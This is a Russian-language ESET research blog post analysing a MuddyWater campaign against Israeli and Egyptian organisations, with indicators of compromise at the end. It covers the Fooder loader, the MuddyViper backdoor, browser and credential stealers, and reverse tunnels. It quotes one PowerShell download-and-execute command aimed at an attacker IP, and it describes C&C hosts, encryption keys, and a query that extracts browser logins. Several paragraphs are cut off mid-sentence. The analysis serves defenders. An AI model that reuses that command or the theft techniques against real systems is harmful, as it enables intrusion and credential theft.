ESET Eesti Blogi

MuddyWater: Змеи на берегу

Исследователи ESET выявили новую активность MuddyWater, направленную в основном на организации в Израиле, с одним подтвержденным случаем в Египте. MuddyWater, также известный как Mango Sandstorm или TA450, — это кибершпионская группа, связанная с Ираном, известная своим настойчивым таргетингом на государственные и критически важные инфраструктурные секторы, часто используя собственный вредоносный софт и общедоступные инструменты. В этой кампании злоумышленники развернули набор ранее не документированных, собственных инструментов с целью улучшения уклонения от обнаружения и закрепления. Среди этих инструментов — собственный загрузчик Fooder, предназначенный для выполнения MuddyViper, бэкдора на C/C++. Несколько версий Fooder маскируются под классическую игру Snake, а его внутренняя логика включает пользовательскую функцию задержки, вдохновленную механикой игры, в сочетании с частым использованием вызовов Sleep API. Эти функции предназначены для задержки выполнения и затруднения автоматического анализа. MuddyViper позволяет злоумышленникам собирать информацию о системе, выполнять файлы и команды оболочки, передавать файлы и эксфильтровать учетные данные для входа в Windows и данные браузера. Кампания также использует похитители учетных данных (CE‑Notes и LP‑Notes) и инструменты обратного туннелирования (go‑socks5), которые давно пользуются популярностью у операторов MuddyWater.

Хотя это наш первый публичный пост в блоге, посвященный MuddyWater, исследователи ESET отслеживают группу уже несколько лет и документировали ее деятельность в нескольких ESET
ESET
ESET
Отчетах о деятельности APT. В отличие от предыдущих кампаний MuddyWater, которые часто были шумными и легко обнаруживались, кампания, освещаемая в этом посте, демонстрирует более сфокусированный, сложный и утонченный подход.

Ключевые моменты этого поста:
  • Разработчики MuddyWater приняли CNG, криптографический API Windows нового поколения, что уникально для групп, связанных с Ираном, и несколько нетипично для более широкого ландшафта угроз.
  • Группа также использовала более продвинутые методы для развертывания MuddyViper, нового бэкдора, используя загрузчик (Fooder), который отраженно загружает его в память и выполняет.
  • Мы предоставляем технический анализ инструментов, использованных в этой кампании, включая MuddyViper, загрузчик Fooder, похититель данных браузера CE‑Notes, похититель учетных данных LP‑Notes, похититель данных браузера Blub и обратные туннели go‑socks5.
  • Во время этой кампании операторы сознательно избегали интерактивных сессий с клавиатуры, что является исторически шумной техникой, часто характеризующейся ошибками при вводе команд.

Обзор группы MuddyWater

MuddyWater — это кибершпионская группа, активная как минимум с 2017 года, в основном нацеленная на организации на Ближнем Востоке и в Северной Америке. Это одна из самых активных APT-групп, связанных с Ираном, отслеживаемых исследователями ESET, и она связана с Министерством разведки и национальной безопасности Ирана.

Группа впервые была представлена общественности как MuddyWater компанией Unit 42 в 2017 году, чье описание деятельности группы соответствует профилю ESET — фокус на кибершпионаже, использование вредоносных документов в качестве вложений, предназначенных для побуждения пользователей включать макросы и обходить средства контроля безопасности, а также основной таргетинг на организации, расположенные на Ближнем Востоке.

К заметным прошлым действиям относятся Operation Quicksand (2020), кампания кибершпионажа, направленная против израильских государственных структур и телекоммуникационных организаций, которая является примером эволюции группы от базовых фишинговых тактик до более продвинутых, многоэтапных операций; и кампания, нацеленная на политические группы и организации в Турции, демонстрирующая геополитический фокус группы, ее способность адаптировать тактики социальной инженерии к местным контекстам и зависимость от модульного вредоносного ПО и гибкой инфраструктуры C&C.

Помимо частой активности, операции MuddyWater часто бывают шумными. Группа известна своим настойчивым таргетингом на государственные, военные, телекоммуникационные секторы и секторы критической инфраструктуры, обычно используя собственный вредоносный софт и общедоступные инструменты для получения доступа, поддержания персистентности и эксфильтрации конфиденциальных данных. Помимо таргетинга на своего заклятого врага, Израиль, группа, по-видимому, нацелена на страны, которые поддерживают или стремятся укрепить дипломатические отношения с Ираном.

ESET задокументировал несколько кампаний, приписываемых MuddyWater, которые подчеркивают развивающийся набор инструментов группы и смещение операционного фокуса. В то время как ранние операции полагались на широкий таргетинг и относительно несложные методы, более поздние кампании демонстрируют признаки технического совершенствования и повышения точности.

В марте и апреле 2023 года MuddyWater нацелился на неустановленного жертву в Саудовской Аравии, развернув пакетный скрипт, который загрузил бэкдор на основе PowerShell, использовавшийся для загрузки и выполнения произвольных полезных нагрузок, а затем для удаления первоначальной полезной нагрузки с диска.

Группа провела кампанию в январе и феврале 2025 года, которая была примечательна своим операционным пересечением с Lyceum (подгруппа OilRig), подробно описанным в этой публикации. Это последнее пересечение предполагает эволюцию в методах работы MuddyWater.

Публично документированные собственные инструменты группы включают, например, бэкдоры Bugsleep, Blackout, Small Sieve, Mori и POWERSTATS, а также скомпилированные на заказ варианты инструментов с открытым исходным кодом, таких как LaZagne или CrackMapExec. Кампании MuddyWater обычно не используют или не вводят новые инструменты, вредоносное ПО или методы; вместо этого они часто примечательны своим таргетингом.

Хотя MuddyWater изначально концентрировался исключительно на кибершпионаже, его сотрудничество с Lyceum привело к таргетингу на производственный сектор через фишинг. Атака вызвала значительный шум и достигла малого в плане операционных целей.

Кампания, описанная в этой публикации, показывает то, что для MuddyWater кажется беспрецедентным развитием в наборе инструментов и техническом исполнении.

Жертвы

Как упоминалось ранее, во время этой кампании MuddyWater в основном нацеливался на организации в Израиле, а также одну в Египте. Таблица 1 перечисляет жертв по стране и вертикали. Кампания началась 30 сентября 2024 года и завершилась 18 марта 2025 года.

Таблица 1. Жертвы по стране и вертикали

Страна Вертикаль
Египет Технологии
Израиль Инжиниринг №1
Инжиниринг №2
Инжиниринг №3
Местное самоуправление №1
Местное самоуправление №2
Производство
Технологии
Транспорт
Коммунальные услуги
Университет №1
Университет №2
Университет №3
Неопознанный №1
Неопознанный №2
Неопознанный №3
Неопознанный №4
Неопознанный №5

Интересно отметить, что жертва в секторе коммунальных услуг также была скомпрометирована Lyceum 11 февраля 2025 года.

Пересечение и сотрудничество с Lyceum

В начале 2025 года ESET Research выявил операционное пересечение между MuddyWater и Lyceum, подгруппой кибершпионской группы OilRig, связанной с Ираном, также известной как HEXANE или Storm-0133. OilRig активна как минимум с 2014 года и, как общепринято считать, базируется в Иране. Инструменты, которые мы относим к Lyceum, включают DanBot, Shark, Milan, Marlin, Solar, Mango, OilForceGTX и различные загрузчики, использующие легитимные облачные сервисы для C&C-связи. Ранее мы наблюдали, как Lyceum нацеливался на несколько израильских организаций, включая национальные и местные правительственные структуры, а также организации в секторе здравоохранения.

Во время кампании, описанной здесь, MuddyWater провел совместную подкампанию с OilRig в январе и феврале 2025 года. MuddyWater инициировал доступ через фишинговое электронное письмо, содержащее ссылку на установщик программного обеспечения для удаленного мониторинга и управления (RMM) Syncro. После первоначального компрометирования злоумышленники установили дополнительный инструмент RMM, PDQ, и развернули собственный загрузчик Mimikatz, замаскированный под файлы сертификатов с расширениями файлов .txt. Исходя из наблюдаемой активности, извлеченные учетные данные, вероятно, использовались Lyceum для получения доступа и контроля над операциями внутри целевой организации производственного сектора в Израиле.

Это сотрудничество предполагает, что MuddyWater может выступать в качестве брокера первоначального доступа для других групп, связанных с Ираном.

Атрибуция

Жертвы, TTP и инструменты, наблюдаемые в этой кампании, соответствуют нескольким недавно документированным возможностям и инструментам, которые мы ранее приписывали MuddyWater. Эта оценка основана на методе первоначального доступа и последующей доставке вредоносных инструментов — как правило, через фишинговые электронные письма, содержащие ссылки на загрузку программного обеспечения RMM.

TTP

Операторы MuddyWater продолжают полагаться на предсказуемые и основанные на скриптах бэкдоры, написанные на PowerShell и Go. Их таргетинг остается сосредоточенным на секторах телекоммуникаций, правительства, нефти и энергетики.

Первоначальный доступ обычно достигается через фишинговые электронные письма, часто содержащие вложения PDF, которые ссылаются на установщики программного обеспечения RMM, размещенные на бесплатных платформах обмена файлами, таких как OneHub, Egnyte или Mega. Эти ссылки приводят к загрузке инструментов RMM, включая Atera, Level, PDQ и SimpleHelp.

Среди инструментов, развернутых операторами MuddyWater, также присутствует бэкдор VAX‑One, названный в честь легитимного программного обеспечения, которое он имитирует: Veeam, AnyDesk, Xerox и служба обновления OneDrive.

Постоянная зависимость группы от этого знакомого сценария делает ее активность относительно легкой для обнаружения и блокировки.

Пересечение инструментов

Кроме того, мы выявили пересечения кода между несколькими недавно документированными инструментами и теми, которые мы ранее приписывали MuddyWater:

Набор инструментов

В этом посте мы документируем ранее неизвестные, собственные инструменты, используемые MuddyWater:

Остальная часть набора инструментов, задокументированного в этом посте, включает:

Загрузчик Fooder

Fooder — это 64-битный загрузчик на C/C++, разработанный для дешифровки, а затем отраженной загрузки встроенной полезной нагрузки (как показано на Рисунке 1), причем MuddyViper является наиболее часто встречающейся полезной нагрузкой.

Рисунок 1. Взаимосвязи между Fooder и его запускатором и полезной нагрузкой

Fooder, по-видимому, является внутренним названием этого инструмента, судя по его PDB-путям:

Хотя мы захватили только один образец, мы считаем, что Fooder запускается простым приложением-запускатором, написанным на C. Он не имеет обфускации строк и подробного логирования в консоль, а PDB-путь остается неизменным:

C:UserspcsourcereposConsoleApplication7x64ReleaseConsoleApplication7.pdb

Мы наблюдали один случай (SHA-1: 76632910CF67697BF5D7285FAE38BFCF438EC082) компонента, запускающего Fooder. Развернутый под именем %USERPROFILE%DownloadsOsUpdater.exe, запускатор ожидает идентификатор процесса в качестве аргумента командной строки. После выполнения он пытается дублировать токен указанного процесса через API DuplicateTokenEx, а затем использует CreateProcessAsUserA для запуска Fooder.

После выполнения Fooder дешифрует встроенную полезную нагрузку, выполняя следующие шаги:

Затем Fooder загружает полезную нагрузку непосредственно в память с использованием методов отражения, позволяя ей выполняться без использования стандартных системных вызовов или записи на диск.

После запуска таким образом Fooder использовался не только для доставки MuddyViper, но и HackBrowserData, утилиты с открытым исходным кодом, способной дешифровать и экспортировать конфиденциальную информацию браузера, такую как учетные данные и файлы cookie. Fooder также облегчает развертывание вариантов go‑socks5, которые представляют собой бинарные файлы, скомпилированные на Go, функционирующие как обратные туннели, позволяя злоумышленникам обходить межсетевые экраны и механизмы Network Address Translation (NAT). Примечательно, что группа MuddyWater ранее использовала go‑socks5 независимо от Fooder, что указывает на продолжающуюся зависимость от этого инструмента для скрытой сетевой связи и эксфильтрации данных.

Обратите внимание, что несколько версий Fooder маскируются под игру Snake — см. строки и мьютексы, выделенные на Рисунке 2 — его наиболее часто встраиваемая полезная нагрузка.

Рисунок 2. Несколько экземпляров Fooder маскируются под игру Snake

Еще одна примечательная особенность Fooder — частое использование пользовательской функции задержки (которая реализует основную логику игры Snake, где игрок маневрирует концом растущей линии, часто в виде змеи, чтобы избежать препятствий и собирать предметы) и вызовы Sleep API. Задержка в выполнении достигается путем имитации циклической функции задержки: как в игре Snake, где каждое движение контролируется циклом, который ждет короткий период перед обновлением игры. Цикл вводит задержки выполнения, которые замедляют поведение вредоносного ПО, помогая ему избежать инструментов, которые отслеживают быструю вредоносную активность. Рисунок 3 выделяет задержки и приветственный баннер игры Snake, представленный пользователю во время выполнения.

Рисунок 3. Различные вызовы для задержки выполнения распределены по всему коду Fooder

Fooder не имеет встроенной функции персистентности. Однако в случаях, когда конечной полезной нагрузкой Fooder является бэкдор MuddyViper, бэкдор может настроить персистентность для загрузчика через запланированную задачу или папку автозагрузки.

Бэкдор MuddyViper

MuddyViper, ранее не документированный бэкдор, написанный на C и C++, обеспечивает скрытый доступ и контроль над скомпрометированными системами. Мы наблюдали MuddyViper только в памяти, загруженный Fooder, что, возможно, является причиной отсутствия обфускации или шифрования строк. Как обычно для MuddyWater, MuddyViper отправляет чрезвычайно подробные и частые сообщения о статусе своему C&C-серверу на протяжении всего времени выполнения, например:

Бэкдор также поддерживает длинный список из более чем 150 имен процессов и сведений о соответствующих продуктах, чтобы иметь возможность отправлять подробные отчеты об обнаруженных в скомпрометированной среде инструментах безопасности, хотя добавление сведений могло быть легко реализовано на стороне сервера:

Такое поведение приводит к значительному сетевому трафику.

MuddyViper имеет два метода установления персистентности:

MuddyViper поддерживает 20 команд бэкдора — см. Таблицу 2 для подробной информации обо всех них — в частности, включая возможность открывать и управлять обратными оболочками, скачивать, загружать и выполнять файлы, сообщать о запущенных инструментах безопасности, красть учетные данные пользователя и данные из различных браузеров, настраивать собственную персистентность и удалять себя.

Таблица 2. Команды бэкдора MuddyViper

ID Аргументы Действие Ответ 200 N/A N/A 0 . Через GET /adad или GET /aq36 запрос, чтобы получить команду бэкдора. 207 N/A Расшифровывает встроенный инструмент HackBrowserData и загружает его рефлексивно в новый поток. Этот open-source инструмент может красть учетные данные, историю и другую информацию из веб-браузеров.Одна из команд в Таблице 2, с ID 805 , показывает поддельное диалоговое окно Windows Security. Оно пытается заставить жертву ввести свои учетные данные Windows, как показано на Рисунке 4. Похожую технику использует стилер MuddyWater LP-Notes (см. LP-Notes credential stealer ).Рисунок 4. Поддельное окно Windows Security, показанное MuddyViper (ID команды 805 )Другая команда, с ID 900 , предназначена для удаления MuddyViper с зараженного компьютера и очистки его персистентности. Однако команда не удаляет все следы бэкдора.Сетевой протоколДля связи с C&C сервером MuddyViper использует HTTP GET запросы (через WinHTTP API ) по порту 443 . Флаг WINHTTP_FLAG_SECURE настроен для использования SSL/TLS. Были замечены два C&C сервера: processplanet[.]org и 35.175.224[.]64 .В обоих направлениях связи данные шифруются AES-CBC. Используется CNG API с ключом (общим для всех образцов) 0608101047106453101617106423101013101012101083109710108585106969 и IV 0 .В направлении бэкдор → сервер:Каждый URI конечной точки, поддерживаемый C&C сервером, может использоваться бэкдором для определенного типа запроса. Например, для запроса команды, загрузки файла или отправки пользовательского сообщения о статусе. Дополнительные данные для C&C сервера включаются в тело HTTP-запроса, что нетипично для HВ направлении сервер → бэкдор:Код состояния HTTP определяет ID команды бэкдора. Аргументы команды бэкдора включаются в тело HTTP-ответа.CE-Notes browser-data stealerCE-Notes — это стилер данных браузера. Мы назвали его так из-за имени файла – ce-notes.txt – которое используется для временного хранения украденных данных на диске. Мы обнаружили CE-Notes в 2024 году, когда MuddyWater развертывал его EXE и DLL версии в системе организации в Израиле.CE-Notes был загружен следующей командой PowerShell:»C:WINDOWSSystem32WindowsPowerShellv1.0powershell.exe» (Invoke-WebRequest -UseDefaultCredentials -UseBasicParsing -Uri http://206.71.149[.]51:443/57576?filter_relational_operator_2=60169).content | Invoke-ExpressionОбе версии стилера данных браузера пытаются украсть и расшифровать ключ шифрования, привязанный к приложению. Этот ключ хранится в файле Local State ( %APPDATA%LocalGoogleChromeUser DataLocal State ) браузеров на основе Chromium (Chrome, Brave и Edge). Шифрование, привязанное к приложению, было введено в Chrome версии 127, включаСобранные данные шифруются AES-CBC с использованием CNG API. Ключ: 9262A37DF166AC1D5F582AAC79F54CCB47623BFD9BA001228D284AE13A08F52F. IV: 4103A09887B82FFD56A93BB431805224 .Затем зашифрованные данные сохраняются на диске в C:UsersPublicDownloadsce-notes.txt для последующего извлечения (вероятно, с помощью RMM-инструмента, так как ни EXE, ни DLL версии не имеют средств для эксфильтрации файла). Основное отличие между EXE и DLL — функция обхода виртуальных машинМы видели CE-Notes browser-data stealer в следующих местах:C:system2.dll C:UsersPublicDownloadssystem2.dll C:Intelsystem.dll C:20240926_165509.exeLP-Notes credential stealerLP-Notes — это C/C++ стилер учетных данных Windows. Его дизайн похож на CE-Notes browser-data stealer. Следуя той же схеме именования, что и CE-Notes, мы назвали стилер LP-Notes по локальному файлу, который он использует для временного хранения украденных учетных данных перед эксфильтрацией: C:UsersPublicDoИнициализацияПри выполнении LP-Notes сначала ищет процесс с именем taskhostw.exe (Host Process for Windows Tasks). Затем он имитирует контекст безопасности процесса (через API ImpersonateLoggedOnUser ). Только после этого LP-Notes активирует свой вредоносный полезный груз.LP-Notes использует несколько простых техник обфускации. Включая пользовательский алгоритм на основе сложения для расшифровки строк. Рисунок 5 показывает функцию, которая расшифровывает строки длиной от 15 до 19 символов. Ключ расшифровки всегда один и тот же – набор предопределенных констант, которыеРисунок 5. Алгоритм расшифровки строк LP-NotesРисунок 6. Алгоритм расшифровки строк CE-Notes, похожий на LP-NotesLP-Notes использует стекирование строк для строк короче 15 или длиннее 19 символов. Это включает ключ расшифровки, IV и имена импортов. Наконец, чтобы скрыть использование функций Windows API и усложнить статический анализ, LP-Notes динамически разрешает функции API во время C Рисунок 7. Функция WinMain LP-Notes с обфусцированными именами импортов (слева) и вид после деобфускации (справа)ВозможностиВ бесконечном цикле LP-Notes отображает поддельное диалоговое окно Windows Security. Оно запрашивает у жертвы имя пользователя и пароль Windows, как показано на Рисунке 8 (через API CredUIPromptForWindowsCredentialsW ). Обратите внимание, что, хотя это и похоже, это не тот же поддельный запрос учетных данных, что и у MuddyVРисунок 8. Поддельное окно Windows Security, показанное LP-NotesЕсли успешно, собранные учетные данные затем шифруются AES-CBC. Используется CNG API с ключом ED15C8344B45DAED1E0578F8BC1A32411812C61F4CB45D89B107287DE0E09FFC и IV 91A4E6F6D51DAEE773A8F00279792578 .Как и CE-Notes, LP-Notes затем сохраняет зашифрованные учетные данные в локальный файл – в данном случае C:UsersPublicDownloadslp-notes.txt . Поскольку ни один из этих компонентов не может эксфильтровать данные, вероятно, этим занимается другой компонент (либо RMM-инструмент, либо MuddyViper).Blub browser-data stealerBlub — это C/C++ стилер данных браузера. Он использует статически связанную библиотеку SQLite. Название происходит от имени файла Blub.exe . Мы видели PDB-путь C:Usersjojosourcereposstealerx64Releasestealer.pdb . Он крадет данные входа пользователей из Google Chrome, Microsoft Edge, Mozilla FirefoxБраузеры на основе ChromiumДля Chrome Blub сначала завершает работу chrome.exe (если он запущен), а затем анализирует и расшифровывает ключ шифрования из C:Users<username>AppDataLocalGoogleChromeUser DataLocal State . Этот ключ используется для шифрования конфиденциальных данных, хранящихся в Chrome, таких как пароли или файлы cookie, и он защищен SELECT origin_url, username_value, password_value FROM loginsАналогичная серия шагов используется для получения и расшифровки учетных данных пользователя из Microsoft Edge и Opera. Используется ключ, полученный из C:Users<username>AppDataLocalMicrosoftEdgeUser DataLocal State и C:Users<username>AppDataRoamingOpera SoftwareOpera StableLocFirefoxНаконец, для расшифровки сохраненных учетных данных пользователя для Mozilla Firefox, Blub анализирует значения hostname , encryptedUsername и encryptedPassword из файла logins.json в каталоге профиля каждого пользователя, т.е. %APPDATAROAMING%MozillaFirefoxProfiles<profile_name> . Затем учетные данные деСобранные данные сохраняются в локальный файл file.txt без шифрования. Те же данные записываются в консоль без шифрования, вместе с подробными сообщениями о состоянии. Blub не имеет возможности эксфильтровать этот файл.Обратите внимание, что Blub проверяет запущенные процессы, связанные с решениями безопасности, перед выполнением своего вредоносного полезного груза. Он фокусируется на комбинации процессов afwServ.exe (Avast firewall) и AvastSvc.exe (Avast antivirus). Если обнаружен запущенный afwServ.exe (но не AvastSvc.exe ), Blub заключает Хотя строки Blub хранятся в открытом виде, используется простая техника обфускации для строк, связанных с функционалом стилера данных Google Chrome. В частности, несколько строк объединяются в одну длинную строку, с 16 случайными символами между ними, видимо, чтобы скрыть их от vigdGlog}o{eRwjpw&»encrypted_key»:FAe[{hy|b-vcJvxGImpersonateLoggeh}gdOvlgt_NxuoolOpenProcessTokenVLUKKW’xxqjpwe}uDuplicateTokenExs5&}vl{tiplh|io|eIpuvvkdXznx(Gh}n2(sh|y⌂ryme~ds~Удаление мусорных символов и разделение строк дает:»encrypted_key»: ImpersonateLogge OpenProcessToken DuplicateTokenExgo‑socks5 reverse tunnelsMuddyWater’s go‑socks5 reverse tunnels — это набор инструментов, скомпилированных на Go. Они основаны на общедоступных библиотеках, таких как go‑socks5, yamux и resocks. Они часто использовались в недавних кампаниях MuddyWater.Большинство проанализированных нами вариантов, по-видимому, внутренне называются ESETGO (не имеет отношения к ESET), на основе строк конфигурации сборки, показанных на Рисунке 9 и в других артефактах.

path ESETGO mod ESETGO (devel) dep github.com/armon/go-socks5 v0.0.0-20160902184237-e75332964ef5h1:0CwZNZbxp69SHPdPJAN/hZIm0C4OItdklCFmMRWYpio= dep github.com/hashicorp/yamux v0.1.1 h1:yrQxtgseBDrq9Y652vSRDvsKCJKOUD+GzTS4Y0Y8pvE= dep golang.org/x/net v0.29.0 h1:5ORfpBpCs4HzDYoodCDBbwHzdR5UrLBZ3sOnUJmFoHo= dep golang.org/x/sys v0.25.0 h1:r+8e+loiHxRqhXVl6ML1nO3l1+oFoWbnlu2Ehimmi34= build -buildmode=exe build -compiler=gc build -ldflags="-w -s" build CGO_ENABLED=1 build CGO_CFLAGS= build CGO_CPPFLAGS= build CGO_CXXFLAGS= build CGO_LDFLAGS= build GOARCH=amd64 build GOOS=windows build GOAMD64=v1

Рисунок 9. Строки конфигурации сборки вариантов MuddyWater’s go‑socks5Основная цель прокси MuddyWater’s go‑socks5 — передавать связь между зараженной машиной (на определенном порту) и жестко закодированным C&C сервером. Используется жестко закодированный ключ соединения для аутентификации с C&C сервером через SSL/TLS. Эта настройка позволяет атакующему маршрутизировать C&C трафикЗаключениеЭта кампания указывает на эволюцию операционной зрелости MuddyWater. Развертывание ранее не документированных компонентов – таких как загрузчик Fooder и бэкдор MuddyViper – сигнализирует об усилиях по повышению скрытности, персистентности и возможностей сбора учетных данных. Использование игровых темMuddyWater продолжает демонстрировать способность проводить кампании от средних до выше средних, то есть своевременные, эффективные и все более сложные для защиты. Хотя мы считаем, что MuddyWater останется ведущим игроком в иранской активности, мы ожидаем дальнейшего ESET продолжит отслеживать деятельность группы, уделяя особое внимание дальнейшим признакам технического прогресса и стратегического нацеливания на правительственные, военные, телекоммуникационные и критически важные инфраструктуры.По любым вопросам о наших исследованиях, опубликованных на WeLiveSecurity, обращайтесь к нам по адресу threatintel@eset.com . ESET Research предлагает частные отчеты по APT-интеллекту и потоки данных. По любым вопросам об этой услуге посетите страницу ESET Threat Intelligence.IoCsФайлы

SHA-1 Имя файла Обнаружение Описание
76632910CF67697BF5D7285FAE38BFCF438EC082 OsUpdater.exe Win64/MuddyWater.E MuddyWater – загрузчик Fooder.
1723D5EA7185D2E339FA9529D245DAA5D5C9A932 Blub.exe Win64/MuddyWater.H MuddyWater – похититель данных браузера Blub.
69B097D8A3205605506E6C1CC3C13B71091CB519 Blub.exe Win64/MuddyWater.H MuddyWater – похититель данных браузера Blub.
B7A8F09CB5FF8A33653988FFBA585118ACF24C13 Blub.exe Win64/MuddyWater.H MuddyWater – похититель данных браузера Blub.
B8997526E4781A6A1479690E30072F38E091899D stealer.exe Win64/MuddyWater.H MuddyWater – похититель данных браузера Blub.
8E21DE54638A79D8489C59D958B23FE22E90944A 7d1e9726b5YZPYc.dll Win32/MuddyWater.B MuddyWater – похититель данных браузера CE-Notes.
CD47420F5CE408D95C98306D78B977CDA0400C8F fe197add74IVcQn.exe Win64/MuddyWater.I MuddyWater – похититель данных браузера CE-Notes.
C1299E8C9A8567A9C292157F3ED65B818AA78900 vmsvc.exe Win64/MuddyWater.I MuddyWater – похититель данных браузера CE-Notes.
29CDA06701F9A9C0A6791775C3EB70F5B52BBEFF 3a70e4c8c2IVcQn.exe Win64/MuddyWater.C MuddyWater – похититель учетных данных LP-Notes.
8F3ED626E7B929450E36E97BA5539C8371DF0EF8 3a70e4c8c2IVcQn.exe Win64/MuddyWater.C MuddyWater – похититель учетных данных LP-Notes.
007B5CD6D6ACF972F7743F79E23CAB9BB2ECBEE3 Dsync-es.exe Win64/MuddyWater.F MuddyWater – загрузчик Mimikatz.
CD36F93DBC4C718930593D8F029EFDCAA52B619B App_chek.exe Win64/MuddyWater.G MuddyWater – загрузчик Fooder со встроенным инструментом HackBrowserData.
47B70C47BEB33E88B4197D6AF1B768230E51B067 steam.exe Win64/MuddyWater.G MuddyWater – загрузчик Fooder со встроенным обратным туннелем go‑socks5.
D46900D78AE036967E0B37F9EC6A8000131AE604 antimage.exe Win32/MuddyWater.A MuddyWater – загрузчик Fooder со встроенным обратным туннелем go‑socks5.
0657D0B0610618886DDD74C3D0A1D582CDD24863 wtsapi32.dll Win64/MuddyWater.G MuddyWater – загрузчик Fooder со встроенным бэкдором MuddyViper.
2939FD218E0145D730BD94AA1C76386A5259EACE msi.dll Win64/MuddyWater.G MuddyWater – загрузчик Fooder со встроенным бэкдором MuddyViper.
3BC6502A55A4D5D29132DA4D9943E154A810CC83 WinWin.exe Win64/MuddyWater.G MuddyWater – загрузчик Fooder со встроенным бэкдором MuddyViper.
7950296331802188EB99E232E2C383CB9FDD5D7D 20241118_223247_Launcher.exe Win64/MuddyWater.G MuddyWater – загрузчик Fooder со встроенным бэкдором MuddyViper.
8580824FE14DB158388102B16C1C79DFBBA36083 Launcher.dll Win64/MuddyWater.G MuddyWater – загрузчик Fooder со встроенным бэкдором MuddyViper.
B48B93B4EB69D01588D371356EDE614C5E7378DE Launcher.exe Win64/MuddyWater.G MuddyWater – загрузчик Fooder со встроенным бэкдором MuddyViper.
EA8A1C2382FF765709D7F78EF60482598E4C0DEB vcruntime140_1.dll Win64/MuddyWater.G MuddyWater – загрузчик Fooder со встроенным бэкдором MuddyViper.
EAF4BAFC62170C9FCA1F6B591848883DBF97F93D Launcher.exe Win64/MuddyWater.G MuddyWater – загрузчик Fooder со встроенным бэкдором MuddyViper.
F5EFBA6CCBA5A6AD6C3AFA928C0E5EAA44597411 ncrypt.dll Win64/MuddyWater.G MuddyWater – загрузчик Fooder со встроенным бэкдором MuddyViper.
13DA612D75DC5268F5235F5BACE6D8F0DB0091FF WinWin(persist).exe Win64/MuddyWater.G MuddyWater – загрузчик Fooder со встроенным бэкдором MuddyViper.
25361183DE63F296BA71B6FCF0725E022B3C989A 0bff183a39ruQsY.dll WinGo/TrojanProxy.Agent.D MuddyWater – обратный туннель go‑socks5.
0E9A4892CFA1C9065B36D8F2E164E28609A8CF5D 20d188afdcpfLFq.exe WinGo/TrojanProxy.Agent.D MuddyWater – обратный туннель go‑socks5.
2B09241CA025BDC4455E9F6BA6009E2F27C08EDF dttcodexgigas.exe WinGo/TrojanProxy.Agent.D MuddyWater – обратный туннель go‑socks5.
2E9BE23CDD8152DB6CD1A54E001C4EA82FF6F1C6 7295be2b1fHxjyf.exe WinGo/TrojanProxy.Agent.D MuddyWater – обратный туннель go‑socks5.
45FA7DE711FEA1F8D1E348E87834246C455DD2ED fa54125dc8ZpaNJ.exe WinGo/TrojanProxy.Agent.D MuddyWater – обратный туннель go‑socks5.
4E0EF2386980639FC5355FD68DAFF54EB2AD622E 20d188afdcWgOQB.exe WinGo/TrojanProxy.Agent.D MuddyWater – обратный туннель go‑socks5.
4E9529BA4A6E42D6278D37E3FDEE9E1D991CEBE0 bd34a33f5bHOVby.exe WinGo/TrojanProxy.Agent.D MuddyWater – прокси-сервер обратного туннелирования go‑socks5.
50C6D4A2AD16A231CF11C43F3BBC868D90E20D25 re.exe WinGo/TrojanProxy.Agent.F MuddyWater – обратный туннель go‑socks5.
52009F36058337B6401DA0A0F4885A0C185F0520 bd34a33f5bHOVby.exe WinGo/TrojanProxy.Agent.D MuddyWater – обратный туннель go‑socks5.
535882B6EDAB29247E035236A84CA510FB1E0854 20d188afdcpfLFq.exe WinGo/TrojanProxy.Agent.D MuddyWater – обратный туннель go‑socks5.
544CE18E4C1F1B288DEE6018DFCF4E4D4A315F7A 1110254b63WfTEa.exe WinGo/TrojanProxy.Agent.D MuddyWater – обратный туннель go‑socks5.
54EBC125039CC83E4682CA44DD592534562B25C3 FMAPP.dll WinGo/TrojanProxy.Agent.D MuddyWater – обратный туннель go‑socks5.
5A08150C1DC17E9F691296F0A577C2EC9BA8028C bd34a33f5bJeJOf.exe WinGo/TrojanProxy.Agent.D MuddyWater – прокси-сервер обратного туннелирования go‑socks5.
5D1E61DA8083C41FF1FC23A1222A4A88B43A4E9B bd34a33f5bJeJOf.exe WinGo/TrojanProxy.Agent.D MuddyWater – обратный туннель go‑socks5.
6532E0437C8913FA418F1EE258561B15BBEE9052 7295be2b1fHxjyf.exe WinGo/TrojanProxy.Agent.D MuddyWater – обратный туннель go‑socks5.
6CA41565844118385B345A39A9B79E0BBC0DD338 re.exe WinGo/TrojanProxy.Agent.F MuddyWater – обратный туннель go‑socks5.
6FC50A99AAE1D6C40111632D4F49BD19F9794CF6 8525e604dfKuDNr.exe WinGo/TrojanProxy.Agent.D MuddyWater – обратный туннель go‑socks5.
826CFF5D85713CE4B2F3C15AB53A84E6848D2E2C bd34a33f5bJeJOf.exe WinGo/TrojanProxy.Agent.D MuddyWater – обратный туннель go‑socks5.
87ADD79C7C8335447113EE0D413F52AE2B17F066 20d188afdcpfLFq.exe WinGo/TrojanProxy.Agent.D MuddyWater – обратный туннель go‑socks5.
93055115559219BE8441880597C533381B99213B main.exe WinGo/TrojanProxy.Agent.D MuddyWater – обратный туннель go‑socks5.
97C3376AB551E899F347CC9DDF49EA01DB2D7903 504f53ca8esoLmG.dll WinGo/TrojanProxy.Agent.D MuddyWater – обратный туннель go‑socks5.
99FAD0862E2E8D363F3E18952FD92E09493CC27D 20d188afdcpfLFq.exe WinGo/TrojanProxy.Agent.D MuddyWater – обратный туннель go‑socks5.
A101CBCCD950AA36FC3B40C3C331FDE43ACDBBD2 66f3e097e4tnyHR.exe WinGo/TrojanProxy.Agent.D MuddyWater – обратный туннель go‑socks5.
A227C0A4425E24268B759A740231676A589CA4E6 fa54125dc8ZpaNJ.exe WinGo/TrojanProxy.Agent.D MuddyWater – обратный туннель go‑socks5.
A997A7AAE727D2C12CCE80FE3607317775A4DF3E fa54125dc8ZpaNJ.exe WinGo/TrojanProxy.Agent.D MuddyWater – обратный туннель go‑socks5.
B0271CA76052EC340014D7BCCDBD69325A4E60F2 7295be2b1fAzMZI.exe WinGo/TrojanProxy.Agent.D MuddyWater – обратный туннель go‑socks5.
B0CD4F5DF192BFFE6500E44B80C28505DFD9CA66 20d188afdcpfLFq.exe WinGo/TrojanProxy.Agent.D MuddyWater – обратный туннель go‑socks5.
B16E7D56A8DC0FF6B3AFD797E1EAB22B20DFFB39 ESETGO.exe WinGo/TrojanProxy.Agent.D MuddyWater – обратный туннель go‑socks5.
D49979D0063B28BD73390481E6AE642C00CE0791 20d188afdcpfLFq.exe WinGo/TrojanProxy.Agent.D MuddyWater – обратный туннель go‑socks5.
